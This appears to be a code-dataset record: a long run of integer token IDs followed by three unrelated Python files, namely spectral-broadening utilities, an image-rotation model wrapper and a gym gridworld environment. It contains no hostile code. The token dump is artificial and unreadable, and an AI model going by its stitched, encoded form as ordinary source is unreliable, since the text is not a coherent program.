372, 964, 13, 1678, 4943, 1891, 20005, 362, 322, 19640, 24438, 2159, 3402, 29889, 13, 13, 1678, 4001, 15842, 26813, 3913, 29871, 29896, 29899, 2248, 292, 322, 365, 3301, 11375, 3913, 1422, 1369, 3291, 363, 13, 1678, 7568, 322, 5224, 21971, 727, 526, 3058, 1283, 7224, 297, 278, 16285, 1304, 13, 1678, 2400, 29889, 13, 13, 1678, 2803, 29915, 29879, 5251, 263, 1121, 988, 278, 4636, 338, 29871, 29953, 29916, 29953, 322, 727, 526, 1023, 29871, 29906, 29916, 29906, 13, 1678, 322, 1023, 29871, 29896, 29916, 29896, 10930, 8967, 491, 278, 26529, 29889, 1763, 16326, 278, 14137, 14231, 29892, 13, 1678, 591, 1603, 19450, 263, 29871, 29953, 29899, 29879, 1891, 1409, 322, 5445, 24786, 408, 278, 1494, 4761, 13, 13, 4706, 282, 440, 1862, 353, 518, 29906, 29892, 29871, 29900, 29892, 29871, 29906, 29892, 29871, 29900, 29892, 29871, 29896, 29892, 29871, 29896, 29962, 13, 13, 1678, 910, 20169, 263, 19640, 4636, 310, 278, 883, 4761, 13, 13, 4706, 518, 29916, 921, 4706, 4514, 13, 4706, 518, 29916, 921, 4706, 4514, 13, 4706, 518, 1678, 921, 921, 1678, 4514, 13, 4706, 518, 1678, 921, 921, 1678, 4514, 13, 4706, 518, 4706, 921, 29871, 4514, 13, 4706, 518, 3986, 921, 29962, 13, 13, 1678, 512, 916, 3838, 29892, 591, 2436, 29871, 29906, 746, 278, 29871, 29906, 29916, 29906, 2908, 338, 937, 18169, 322, 13, 1678, 6336, 2436, 29871, 29900, 304, 278, 2446, 6251, 322, 14383, 278, 2446, 10917, 310, 278, 13, 1678, 2425, 29889, 6549, 29892, 263, 5004, 6795, 470, 1409, 623, 1975, 304, 3013, 5702, 310, 2908, 13, 1678, 15786, 526, 28305, 29889, 960, 4312, 29892, 24786, 508, 367, 22289, 714, 2678, 1728, 13, 1678, 19035, 278, 2908, 3829, 29889, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 263, 584, 29871, 299, 2378, 13, 4706, 450, 20005, 362, 1409, 10377, 440, 4133, 491, 365, 3301, 11375, 13, 1678, 5224, 584, 6120, 29892, 13136, 13, 4706, 450, 4607, 304, 1831, 3692, 7568, 470, 5224, 17205, 338, 10434, 297, 13, 4706, 278, 365, 3301, 11375, 1246, 29889, 13, 13, 1678, 16969, 13, 1678, 448, 22158, 13, 1678, 17945, 29918, 584, 29871, 299, 2378, 13, 4706, 450, 1409, 393, 17645, 278, 1948, 29914, 4914, 17945, 6931, 29889, 1152, 1342, 29892, 13, 4706, 565, 1948, 1023, 338, 2381, 17280, 411, 1948, 3023, 29892, 278, 1121, 338, 518, 29900, 29892, 29871, 29941, 29892, 29871, 29906, 29892, 29871, 29941, 1822, 13, 1678, 282, 440, 1862, 584, 29871, 299, 2378, 13, 4706, 450, 1409, 393, 17645, 278, 2908, 19640, 3829, 408, 2183, 2038, 29889, 13, 13, 1678, 9995, 13, 1678, 302, 353, 263, 29889, 2311, 13, 1678, 17945, 29918, 353, 564, 927, 29898, 29876, 29897, 13, 1678, 282, 440, 1862, 353, 24786, 29918, 4561, 29898, 26276, 3383, 26688, 29922, 524, 29897, 13, 1678, 14383, 29918, 29906, 29916, 29906, 353, 7700, 13, 13, 1678, 396, 3834, 7568, 29914, 13609, 14278, 9210, 1819, 13, 1678, 396, 3464, 313, 29879, 29897, 29873, 442, 29892, 364, 29898, 29872, 29897, 299, 29892, 364, 29898, 29875, 29897, 29876, 17053, 13, 1678, 921, 29892, 343, 29892, 20371, 29892, 337, 29892, 10107, 353, 313, 29896, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 302, 29892, 29871, 29896, 29897, 565, 5224, 1683, 8521, 29896, 29892, 448, 29896, 29892, 302, 29899, 29896, 29892, 448, 29896, 29892, 448, 29896, 29897, 13, 13, 1678, 363, 1399, 297, 3464, 29898, 2288, 29892, 337, 29892, 10107, 1125, 13, 4706, 396, 960, 3517, 10917, 28911, 2307, 304, 263, 29871, 29906, 29916, 29906, 2908, 13, 4706, 565, 14383, 29918, 29906, 29916, 29906, 29901, 13, 9651, 14383, 29918, 29906, 29916, 29906, 353, 7700, 13, 9651, 6773, 13, 13, 4706, 3151, 29918, 791, 353, 263, 29961, 513, 29962, 13, 4706, 396, 437, 591, 505, 263, 29871, 29896, 29916, 29896, 2908, 470, 451, 29973, 13, 4706, 565, 3151, 29918, 791, 1405, 29871, 29900, 29901, 13, 9651, 565, 3151, 29918, 791, 2804, 1399, 29974, 29896, 29901, 13, 18884, 396, 11374, 995, 2804, 1409, 995, 6660, 20005, 362, 3734, 13, 18884, 17945, 29918, 29961, 513, 29962, 353, 17945, 29918, 29961, 2764, 29918, 791, 29899, 29896, 29962, 13, 9651, 282, 440, 1862, 29961, 513, 29962, 353, 29871, 29896, 13, 4706, 396, 2216, 29889, 13, 4706, 25342, 3151, 29918, 791, 529, 29871, 29900, 322, 3151, 29918, 791, 1275, 263, 29961, 513, 29974, 29916, 5387, 13, 9651, 396, 937, 3480, 6251, 310, 29871, 29906, 29916, 29906, 2908, 15882, 13, 9651, 565, 448, 2764, 29918, 791, 2804, 1399, 29974, 29906, 29901, 13, 18884, 396, 11374, 995, 2804, 1409, 995, 6660, 20005, 362, 3734, 13, 18884, 17945, 29918, 29961, 513, 29974, 29916, 29962, 353, 17945, 29918, 14352, 2764, 29918, 791, 29899, 29896, 29962, 13, 9651, 282, 440, 1862, 29961, 513, 29974, 29891, 29962, 353, 29871, 29906, 13, 9651, 14383, 29918, 29906, 29916, 29906, 353, 5852, 13, 4706, 1683, 29901, 29871, 396, 5538, 29876, 29915, 29873, 1207, 4060, 29892, 2367, 701, 13, 9651, 12020, 7865, 2392, 877, 8809, 488, 13755, 278, 20005, 362, 1409, 525, 13, 462, 632, 525, 262, 376, 26167, 2272, 29889, 29880, 979, 29887, 29889, 430, 29880, 613, 8340, 9976, 525, 13, 462, 632, 525, 11940, 29889, 450, 1409, 5877, 338, 8340, 29889, 1495, 13, 1678, 736, 17945, 3383, 282, 440, 1862, 13, 13, 13, 1753, 903, 430, 29880, 29918, 657, 29918, 29881, 29918, 392, 29918, 29880, 29898, 430, 29884, 29892, 282, 440, 29879, 29892, 5224, 29922, 5574, 29892, 18606, 277, 713, 29922, 5574, 1125, 13, 1678, 9995, 13, 1678, 6162, 546, 740, 304, 6597, 278, 19640, 322, 3367, 6825, 13516, 363, 13, 1678, 365, 19558, 29889, 29911, 7329, 2133, 29889, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 301, 700, 584, 29871, 299, 2378, 13, 4706, 450, 11071, 1962, 4133, 491, 278, 365, 3301, 11375, 21398, 13, 1678, 282, 440, 29879, 584, 29871, 299, 2378, 13, 4706, 450, 9753, 277, 1891, 1409, 310, 426, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 29913, 972, 11427, 278, 15786, 310, 278, 282, 440, 1862, 29889, 1152, 13, 4706, 1432, 29871, 29906, 727, 338, 263, 9269, 292, 29871, 29900, 29889, 13, 1678, 5224, 584, 6120, 29892, 13136, 13, 4706, 960, 731, 304, 7700, 29892, 7568, 3367, 6825, 760, 338, 5545, 29889, 13, 1678, 18606, 277, 713, 584, 6120, 29892, 13136, 13, 4706, 960, 731, 304, 7700, 263, 18348, 4280, 1409, 338, 12023, 29889, 13, 13, 1678, 16969, 13, 1678, 448, 22158, 13, 1678, 270, 584, 29871, 299, 2378, 13, 4706, 450, 2908, 19640, 4636, 29889, 13, 1678, 8092, 584, 29871, 299, 2378, 13, 4706, 450, 7568, 29914, 13609, 3367, 6825, 4636, 13, 1678, 9995, 13, 1678, 338, 29918, 29883, 353, 338, 19676, 5415, 29898, 430, 29884, 29897, 13, 1678, 270, 353, 7936, 29898, 6051, 351, 29898, 430, 29884, 876, 13, 1678, 302, 353, 270, 29889, 12181, 29961, 29900, 29962, 13, 1678, 1999, 29895, 29918, 29875, 353, 29871, 29900, 29871, 396, 2908, 2380, 13, 13, 1678, 396, 1948, 29914, 4914, 1283, 7224, 363, 18851, 1014, 15767, 2428, 29899, 6051, 351, 7177, 13, 1678, 921, 29892, 343, 353, 313, 29896, 29892, 29871, 29900, 29897, 565, 5224, 1683, 313, 29900, 29892, 29871, 29896, 29897, 13, 13, 1678, 8092, 353, 534, 309, 29898, 430, 29884, 29892, 448, 29896, 29897, 565, 5224, 1683, 3367, 29884, 29898, 430, 29884, 29892, 29871, 29896, 29897, 13, 1678, 7936, 29918, 12772, 353, 564, 927, 29898, 29876, 29897, 13, 1678, 8092, 29961, 6051, 351, 29918, 12772, 29892, 7936, 29918, 12772, 29962, 353, 29871, 29896, 13, 13, 1678, 363, 1999, 29895, 297, 282, 440, 29879, 29961, 29886, 440, 29879, 2804, 29871, 29900, 5387, 13, 4706, 396, 11924, 278, 2908, 2380, 322, 1423, 363, 29871, 29906, 29879, 13, 4706, 396, 565, 29871, 29906, 769, 3509, 278, 1283, 7936, 265, 1338, 8679, 373, 701, 417, 13, 4706, 5528, 353, 1999, 29895, 29918, 29875, 718, 1999, 29895, 13, 13, 4706, 565, 1999, 29895, 1275, 29871, 29906, 29901, 13, 9651, 270, 29961, 2204, 29895, 29918, 29875, 29974, 29916, 29892, 1999, 29895, 29918, 29875, 29974, 29891, 29962, 353, 301, 700, 29961, 2204, 29895, 29918, 29875, 29974, 29916, 29892, 1999, 29895, 29918, 29875, 29974, 29891, 29962, 13, 9651, 396, 960, 10515, 277, 713, 4636, 338, 7329, 1891, 29892, 278, 4891, 29899, 2696, 6051, 351, 7177, 1543, 13, 9651, 396, 881, 367, 25482, 630, 29889, 13, 9651, 565, 338, 29918, 29883, 322, 18606, 277, 713, 29901, 13, 18884, 270, 29961, 2204, 29895, 29918, 29875, 29974, 29891, 29892, 1999, 29895, 29918, 29875, 29974, 29916, 29962, 353, 301, 700, 29961, 2204, 29895, 29918, 29875, 29974, 29916, 29892, 1999, 29895, 29918, 29875, 29974, 29891, 1822, 535, 29926, 580, 13, 9651, 1683, 29901, 13, 18884, 270, 29961, 2204, 29895, 29918, 29875, 29974, 29891, 29892, 1999, 29895, 29918, 29875, 29974, 29916, 29962, 353, 301, 700, 29961, 2204, 29895, 29918, 29875, 29974, 29916, 29892, 1999, 29895, 29918, 29875, 29974, 29891, 29962, 13, 13, 9651, 8092, 29961, 2204, 29895, 29918, 29875, 29974, 29916, 29892, 1999, 29895, 29918, 29875, 29974, 29891, 29962, 353, 29871, 29900, 29889, 13, 4706, 1999, 29895, 29918, 29875, 353, 5528, 13, 13, 1678, 736, 270, 29892, 8092, 13, 13, 13, 1753, 903, 430, 29880, 29918, 11433, 29918, 3626, 29918, 19790, 29898, 6092, 29892, 17945, 29918, 2003, 29892, 282, 440, 29879, 29892, 5224, 29922, 5574, 1125, 13, 1678, 9995, 13, 1678, 6162, 546, 740, 304, 3386, 6261, 11420, 13879, 310, 365, 19558, 7329, 2133, 29889, 13, 13, 1678, 960, 5224, 338, 5852, 278, 3635, 3860, 13879, 526, 6674, 2957, 408, 365, 29898, 29896, 11877, 29931, 29898, 29906, 11877, 856, 29930, 29931, 29898, 29895, 467, 13, 1678, 13466, 29892, 278, 3635, 3860, 13879, 526, 6674, 2957, 408, 365, 29898, 29895, 11877, 856, 29930, 29931, 29898, 29906, 11877, 29931, 29898, 29896, 467, 2823, 13, 1678, 365, 3301, 11375, 5106, 363, 901, 4902, 29889, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 8092, 584, 29871, 299, 2378, 13, 4706, 450, 3367, 6825, 1409, 393, 338, 23892, 515, 365, 3301, 11375, 26529, 1246, 411, 13, 4706, 6743, 373, 278, 7936, 265, 1338, 29889, 13, 1678, 17945, 29918, 2003, 584, 29871, 299, 2378, 13, 4706, 450, 1409, 393, 17645, 278, 1948, 2381, 20304, 16285, 29889, 960, 278, 413, 386, 6251, 338, 286, 13, 4706, 769, 4206, 413, 29892, 29885, 526, 2381, 17280, 29889, 16393, 393, 278, 286, 386, 6251, 338, 451, 12695, 13, 4706, 413, 304, 4772, 563, 29877, 292, 278, 2381, 20304, 29889, 13, 1678, 282, 440, 29879, 584, 29871, 299, 2378, 13, 4706, 450, 1409, 393, 17645, 278, 2908, 19640, 3829, 4133, 491, 13, 4706, 903, 430, 29880, 29918, 28455, 277, 675, 29918, 666, 440, 2141, 13, 1678, 5224, 584, 6120, 29892, 13136, 13, 4706, 450, 7223, 304, 4607, 1546, 5224, 322, 7568, 3367, 6825, 3829, 29889, 13, 13, 1678, 16969, 13, 1678, 448, 22158, 13, 1678, 8092, 584, 29871, 299, 2378, 13, 4706, 450, 6862, 11420, 7329, 607, 17150, 278, 365, 334, 360, 334, 365, 29889, 29911, 353, 319, 13, 1678, 3635, 584, 29871, 299, 2378, 13, 4706, 450, 20005, 362, 4608, 393, 23522, 278, 8092, 304, 278, 3367, 6825, 883, 13, 13, 1678, 8695, 13, 1678, 448, 807, 13, 1678, 3940, 393, 278, 2441, 2980, 376, 6092, 29908, 338, 975, 17625, 29889, 13, 13, 1678, 9995, 13, 1678, 302, 353, 8092, 29889, 12181, 29961, 29900, 29962, 13, 1678, 3635, 353, 564, 927, 29898, 29876, 29897, 13, 1678, 396, 3789, 786, 278, 5183, 1797, 310, 278, 20005, 362, 4636, 363, 7568, 29914, 13609, 13, 1678, 20371, 29892, 337, 29892, 10107, 353, 313, 29876, 29899, 29896, 29892, 448, 29896, 29892, 448, 29896, 29897, 565, 5224, 1683, 313, 29900, 29892, 302, 29892, 29871, 29896, 29897, 13, 13, 1678, 363, 1399, 297, 3464, 29898, 2288, 29892, 337, 29892, 10107, 1125, 13, 4706, 269, 29918, 513, 353, 17945, 29918, 2003, 29961, 513, 29962, 13, 4706, 565, 269, 29918, 513, 2804, 1399, 29901, 13, 9651, 396, 12481, 1369, 322, 1095, 11909, 13, 9651, 784, 29918, 29879, 353, 1399, 565, 5224, 1683, 29871, 29900, 13, 9651, 784, 29918, 29872, 353, 302, 565, 5224, 1683, 1399, 29974, 29896, 13, 13, 9651, 396, 960, 591, 380, 15563, 2501, 263, 29871, 29906, 29916, 29906, 2908, 3160, 1716, 28730, 297, 278, 3635, 29889, 13, 9651, 565, 282, 440, 29879, 29961, 513, 29962, 1275, 313, 29900, 565, 5224, 1683, 29871, 29906, 1125, 13, 18884, 784, 29918, 29879, 4619, 448, 29896, 565, 5224, 1683, 29871, 29900, 13, 18884, 784, 29918, 29872, 4619, 29871, 29900, 565, 5224, 1683, 29871, 29896, 13, 9651, 8092, 8999, 29879, 29918, 513, 29892, 1399, 1402, 784, 29918, 29879, 29901, 1054, 29918, 29872, 29962, 353, 8092, 8999, 513, 29892, 269, 29918, 513, 1402, 784, 29918, 29879, 29901, 1054, 29918, 29872, 29962, 13, 9651, 3635, 8999, 29879, 29918, 513, 29892, 1399, 5262, 353, 3635, 8999, 513, 29892, 269, 29918, 513, 5262, 13, 13, 1678, 736, 8092, 29892, 6389, 441, 29898, 17858, 29897, 13, 2 ]
my_funcs.py
IgorReshetnyak/Spectra
0
93851
<filename>my_funcs.py<gh_stars>0 #COPYRIGHT <NAME> 2016-2020 import math import numpy import time def broad_gauss(data, energies, broad=0.1): if len(data)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5*broad): data1[i]+=data[i1]*gauss(energies[i1],energies[i],broad) norm+=gauss(energies[i1],energies[i],broad) data1[i]=data1[i]/norm return data1 def broad_lorentz(data, energies, broad=0.1): if len(data)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5*broad): data1[i]+=data[i1]*lorentz(energies[i1],energies[i],broad) norm+=lorentz(energies[i1],energies[i],broad) data1[i]=data1[i]/norm return data1 def broad_dynamic(data,energies,broad): if len(data)!=len(energies) or len(broad)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5*broad[i]): data1[i]+=data[i1]*gauss(energies[i1],energies[i],broad[i]) norm+=gauss(energies[i1],energies[i],broad[i]) data1[i]=data1[i]/norm return data1 def gauss(x, mu, sigma): return (sigma * math.sqrt(2*math.pi))*math.exp(-1.0 / (2 * sigma * sigma) * (x - mu)*(x - mu)) def lorentz(x, mu, sigma): return (sigma /math.pi/2)*(1/((x-mu)*(x-mu)+sigma*sigma/4)) def printStage(txt): print txt print time.ctime() def eelsToEps(spectra): n=len(spectra) if n<1: exit() if n%2==1: n=n-1 im=spectra re=spectra re=numpy.fft.fft(re,n) re=-2.*re.imag/n re[0:n/2]=-re[0:n/2] re=numpy.fft.fft(re,n) re=re.real re=re[1:n] im=im[1:n] e1 = re / (re ** 2 + im ** 2) e2 = im / (re ** 2 + im ** 2) return e2
[ 1, 529, 9507, 29958, 1357, 29918, 7692, 2395, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 3217, 20055, 22789, 3912, 529, 5813, 29958, 29871, 29906, 29900, 29896, 29953, 29899, 29906, 29900, 29906, 29900, 6756, 13, 30004, 13, 5215, 5844, 30004, 13, 5215, 12655, 30004, 13, 5215, 931, 30004, 13, 30004, 13, 1753, 7300, 29918, 29887, 11214, 29898, 1272, 29892, 18190, 583, 29892, 7300, 29922, 29900, 29889, 29896, 1125, 6756, 13, 1678, 565, 7431, 29898, 1272, 29897, 19216, 2435, 29898, 759, 29887, 583, 1125, 6756, 13, 268, 6876, 703, 2392, 848, 322, 18190, 583, 3309, 1163, 1159, 6756, 13, 1678, 848, 29896, 29922, 23749, 29889, 3298, 359, 29898, 2435, 29898, 759, 29887, 583, 2483, 6756, 13, 1678, 452, 29922, 2435, 29898, 759, 29887, 583, 29897, 6756, 13, 1678, 363, 474, 297, 3464, 29898, 484, 1125, 6756, 13, 268, 6056, 29922, 29900, 29889, 29900, 6756, 13, 268, 363, 474, 29896, 297, 3464, 29898, 484, 1125, 6756, 13, 418, 565, 313, 6897, 29898, 759, 29887, 583, 29961, 29875, 29896, 29962, 29899, 759, 29887, 583, 29961, 29875, 2314, 29966, 29945, 29930, 6729, 328, 1125, 6756, 13, 539, 848, 29896, 29961, 29875, 10062, 29922, 1272, 29961, 29875, 29896, 14178, 29887, 11214, 29898, 759, 29887, 583, 29961, 29875, 29896, 1402, 759, 29887, 583, 29961, 29875, 1402, 6729, 328, 29897, 6756, 13, 539, 6056, 23661, 29887, 11214, 29898, 759, 29887, 583, 29961, 29875, 29896, 1402, 759, 29887, 583, 29961, 29875, 1402, 6729, 328, 29897, 6756, 13, 418, 6756, 13, 268, 848, 29896, 29961, 29875, 13192, 1272, 29896, 29961, 29875, 16261, 12324, 6756, 13, 1678, 736, 848, 29896, 30004, 13, 30004, 13, 1753, 7300, 29918, 5095, 296, 29920, 29898, 1272, 29892, 18190, 583, 29892, 7300, 29922, 29900, 29889, 29896, 1125, 6756, 13, 1678, 565, 7431, 29898, 1272, 29897, 19216, 2435, 29898, 759, 29887, 583, 1125, 6756, 13, 268, 6876, 703, 2392, 848, 322, 18190, 583, 3309, 1163, 1159, 6756, 13, 1678, 848, 29896, 29922, 23749, 29889, 3298, 359, 29898, 2435, 29898, 759, 29887, 583, 2483, 6756, 13, 1678, 452, 29922, 2435, 29898, 759, 29887, 583, 29897, 6756, 13, 1678, 363, 474, 297, 3464, 29898, 484, 1125, 6756, 13, 268, 6056, 29922, 29900, 29889, 29900, 6756, 13, 268, 363, 474, 29896, 297, 3464, 29898, 484, 1125, 6756, 13, 418, 565, 313, 6897, 29898, 759, 29887, 583, 29961, 29875, 29896, 29962, 29899, 759, 29887, 583, 29961, 29875, 2314, 29966, 29945, 29930, 6729, 328, 1125, 6756, 13, 539, 848, 29896, 29961, 29875, 10062, 29922, 1272, 29961, 29875, 29896, 14178, 5095, 296, 29920, 29898, 759, 29887, 583, 29961, 29875, 29896, 1402, 759, 29887, 583, 29961, 29875, 1402, 6729, 328, 29897, 6756, 13, 539, 6056, 23661, 5095, 296, 29920, 29898, 759, 29887, 583, 29961, 29875, 29896, 1402, 759, 29887, 583, 29961, 29875, 1402, 6729, 328, 29897, 6756, 13, 418, 6756, 13, 268, 848, 29896, 29961, 29875, 13192, 1272, 29896, 29961, 29875, 16261, 12324, 6756, 13, 1678, 736, 848, 29896, 30004, 13, 30004, 13, 1753, 7300, 29918, 16626, 29898, 1272, 29892, 759, 29887, 583, 29892, 6729, 328, 1125, 30004, 13, 1678, 565, 7431, 29898, 1272, 29897, 19216, 2435, 29898, 759, 29887, 583, 29897, 470, 7431, 29898, 6729, 328, 29897, 19216, 2435, 29898, 759, 29887, 583, 1125, 6756, 13, 268, 6876, 703, 2392, 848, 322, 18190, 583, 3309, 1163, 1159, 6756, 13, 1678, 848, 29896, 29922, 23749, 29889, 3298, 359, 29898, 2435, 29898, 759, 29887, 583, 2483, 6756, 13, 1678, 452, 29922, 2435, 29898, 759, 29887, 583, 29897, 6756, 13, 1678, 363, 474, 297, 3464, 29898, 484, 1125, 6756, 13, 268, 6056, 29922, 29900, 29889, 29900, 6756, 13, 268, 363, 474, 29896, 297, 3464, 29898, 484, 1125, 6756, 13, 418, 565, 313, 6897, 29898, 759, 29887, 583, 29961, 29875, 29896, 29962, 29899, 759, 29887, 583, 29961, 29875, 2314, 29966, 29945, 29930, 6729, 328, 29961, 29875, 29962, 1125, 6756, 13, 539, 848, 29896, 29961, 29875, 10062, 29922, 1272, 29961, 29875, 29896, 14178, 29887, 11214, 29898, 759, 29887, 583, 29961, 29875, 29896, 1402, 759, 29887, 583, 29961, 29875, 1402, 6729, 328, 29961, 29875, 2314, 6756, 13, 539, 6056, 23661, 29887, 11214, 29898, 759, 29887, 583, 29961, 29875, 29896, 1402, 759, 29887, 583, 29961, 29875, 1402, 6729, 328, 29961, 29875, 2314, 6756, 13, 418, 6756, 13, 268, 848, 29896, 29961, 29875, 13192, 1272, 29896, 29961, 29875, 16261, 12324, 6756, 13, 1678, 736, 848, 29896, 30004, 13, 30004, 13, 1753, 330, 11214, 29898, 29916, 29892, 3887, 29892, 269, 2934, 1125, 30004, 13, 736, 313, 3754, 334, 5844, 29889, 3676, 29898, 29906, 29930, 755, 29889, 1631, 876, 29930, 755, 29889, 4548, 6278, 29896, 29889, 29900, 847, 313, 29906, 334, 269, 2934, 334, 269, 2934, 29897, 334, 313, 29916, 448, 3887, 11877, 29898, 29916, 448, 3887, 876, 30004, 13, 30004, 13, 1753, 301, 272, 296, 29920, 29898, 29916, 29892, 3887, 29892, 269, 2934, 1125, 30004, 13, 736, 313, 3754, 847, 755, 29889, 1631, 29914, 29906, 11877, 29898, 29896, 29914, 3552, 29916, 29899, 2589, 11877, 29898, 29916, 29899, 2589, 7240, 3754, 29930, 3754, 29914, 29946, 876, 30004, 13, 30004, 13, 1753, 1596, 27276, 29898, 3945, 1125, 30004, 13, 29871, 1596, 13872, 30004, 13, 29871, 1596, 931, 29889, 312, 603, 26471, 13, 30004, 13, 30004, 13, 1753, 321, 1379, 1762, 29923, 567, 29898, 21494, 336, 1125, 30004, 13, 29871, 302, 29922, 2435, 29898, 21494, 336, 8443, 13, 30004, 13, 29871, 565, 302, 29966, 29896, 29901, 6876, 26471, 13, 30004, 13, 29871, 565, 302, 29995, 29906, 1360, 29896, 29901, 302, 29922, 29876, 29899, 29896, 30004, 13, 29871, 527, 29922, 21494, 336, 30004, 13, 29871, 337, 29922, 21494, 336, 6756, 13, 29871, 337, 29922, 23749, 29889, 600, 29873, 29889, 600, 29873, 29898, 276, 29892, 29876, 8443, 13, 29871, 337, 10457, 29906, 5575, 276, 29889, 326, 351, 29914, 29876, 30004, 13, 29871, 337, 29961, 29900, 29901, 29876, 29914, 29906, 29962, 10457, 276, 29961, 29900, 29901, 29876, 29914, 29906, 29962, 30004, 13, 29871, 337, 29922, 23749, 29889, 600, 29873, 29889, 600, 29873, 29898, 276, 29892, 29876, 8443, 13, 29871, 337, 29922, 276, 29889, 6370, 30004, 13, 29871, 337, 29922, 276, 29961, 29896, 29901, 29876, 29962, 30004, 13, 29871, 527, 29922, 326, 29961, 29896, 29901, 29876, 29962, 30004, 13, 30004, 13, 29871, 321, 29896, 353, 337, 847, 313, 276, 3579, 29871, 29906, 718, 527, 3579, 29871, 29906, 8443, 13, 29871, 321, 29906, 353, 527, 847, 313, 276, 3579, 29871, 29906, 718, 527, 3579, 29871, 29906, 29897, 1678, 6756, 13, 29871, 736, 321, 29906, 30004, 13, 2 ]
examples/rotate/rotate.py
dbrainio/wrappa
11
144373
import numpy as np from wrappa import WrappaObject, WrappaImage class DSModel: def __init__(self, **kwargs): pass def predict(self, data, **kwargs): _ = kwargs # Data is always an array of WrappaObjects responses = [] for obj in data: img = obj.image.as_ndarray rotated_img = np.rot90(img) resp = WrappaObject(WrappaImage.init_from_ndarray( payload=rotated_img, ext=obj.image.ext, )) responses.append(resp) return responses def predict_180(self, data, **kwargs): _ = kwargs # Data is always an array of WrappaObjects responses = [] for obj in data: img = obj.image.as_ndarray rotated_img = np.rot90(img) rotated_img = np.rot90(rotated_img) resp = WrappaObject(WrappaImage.init_from_ndarray( payload=rotated_img, ext=obj.image.ext, )) responses.append(resp) return responses
[ 1, 1053, 12655, 408, 7442, 13, 13, 3166, 11463, 13410, 1053, 399, 336, 13410, 2061, 29892, 399, 336, 13410, 2940, 13, 13, 13, 1990, 360, 29903, 3195, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3579, 19290, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 8500, 29898, 1311, 29892, 848, 29892, 3579, 19290, 1125, 13, 4706, 903, 353, 9049, 5085, 13, 4706, 396, 3630, 338, 2337, 385, 1409, 310, 399, 336, 13410, 12724, 13, 4706, 20890, 353, 5159, 13, 4706, 363, 5446, 297, 848, 29901, 13, 9651, 10153, 353, 5446, 29889, 3027, 29889, 294, 29918, 299, 2378, 13, 9651, 5731, 630, 29918, 2492, 353, 7442, 29889, 5450, 29929, 29900, 29898, 2492, 29897, 13, 9651, 4613, 353, 399, 336, 13410, 2061, 29898, 29956, 336, 13410, 2940, 29889, 2344, 29918, 3166, 29918, 299, 2378, 29898, 13, 18884, 20092, 29922, 5450, 630, 29918, 2492, 29892, 13, 18884, 1294, 29922, 5415, 29889, 3027, 29889, 1062, 29892, 13, 632, 876, 13, 9651, 20890, 29889, 4397, 29898, 13713, 29897, 13, 4706, 736, 20890, 13, 13, 1678, 822, 8500, 29918, 29896, 29947, 29900, 29898, 1311, 29892, 848, 29892, 3579, 19290, 1125, 13, 4706, 903, 353, 9049, 5085, 13, 4706, 396, 3630, 338, 2337, 385, 1409, 310, 399, 336, 13410, 12724, 13, 4706, 20890, 353, 5159, 13, 4706, 363, 5446, 297, 848, 29901, 13, 9651, 10153, 353, 5446, 29889, 3027, 29889, 294, 29918, 299, 2378, 13, 9651, 5731, 630, 29918, 2492, 353, 7442, 29889, 5450, 29929, 29900, 29898, 2492, 29897, 13, 9651, 5731, 630, 29918, 2492, 353, 7442, 29889, 5450, 29929, 29900, 29898, 5450, 630, 29918, 2492, 29897, 13, 9651, 4613, 353, 399, 336, 13410, 2061, 29898, 29956, 336, 13410, 2940, 29889, 2344, 29918, 3166, 29918, 299, 2378, 29898, 13, 18884, 20092, 29922, 5450, 630, 29918, 2492, 29892, 13, 18884, 1294, 29922, 5415, 29889, 3027, 29889, 1062, 29892, 13, 632, 876, 13, 9651, 20890, 29889, 4397, 29898, 13713, 29897, 13, 4706, 736, 20890, 2 ]
gym_env/gridworld/gridworld_env.py
dkkim93/gumbel-rl-gridworld
4
124548
<reponame>dkkim93/gumbel-rl-gridworld import gym import numpy as np from gym import spaces class GridworldEnv(gym.Env): def __init__(self, row, col, n_action): super(GridworldEnv, self).__init__() self.row = row self.col = col self.target_loc = np.array([1, 0], dtype=np.uint16) self.observation_space = spaces.Box(low=-1., high=1., shape=(2,), dtype=np.float32) self.action_space = spaces.Discrete(n_action) def step(self, action): self._take_action(action) next_observation = self._get_normalize_loc() reward = 1 if np.array_equal(self.agent_loc, self.target_loc) is True else 0 done = True if np.array_equal(self.agent_loc, self.target_loc) is True else False return (next_observation, reward, done, {}) def reset(self): self._init_env() return self._get_normalize_loc() def render(self): raise NotImplementedError() def _init_env(self): self.agent_loc = np.array([0, self.col // 2], dtype=np.uint16) def _get_normalize_loc(self): normalized_loc = np.array([ self.agent_loc[0] / float(self.row), self.agent_loc[1] / float(self.col)]) return normalized_loc def _take_action(self, action): action = np.argmax(action) if action == 0: new_loc = self.agent_loc[0] - 1 if new_loc < 0: new_loc = 0 # Out of bound self.agent_loc = np.array([new_loc, self.agent_loc[1]]) elif action == 1: new_loc = self.agent_loc[0] + 1 if new_loc >= self.row: new_loc = self.row - 1 # Out of bound self.agent_loc = np.array([new_loc, self.agent_loc[1]]) elif action == 2: new_loc = self.agent_loc[1] + 1 if new_loc >= self.col: new_loc = self.col - 1 # Out of bound self.agent_loc = np.array([self.agent_loc[0], new_loc]) elif action == 3: new_loc = self.agent_loc[1] - 1 if new_loc < 0: new_loc = 0 # Out of bound self.agent_loc = np.array([self.agent_loc[0], new_loc]) else: raise ValueError("Wrong action")
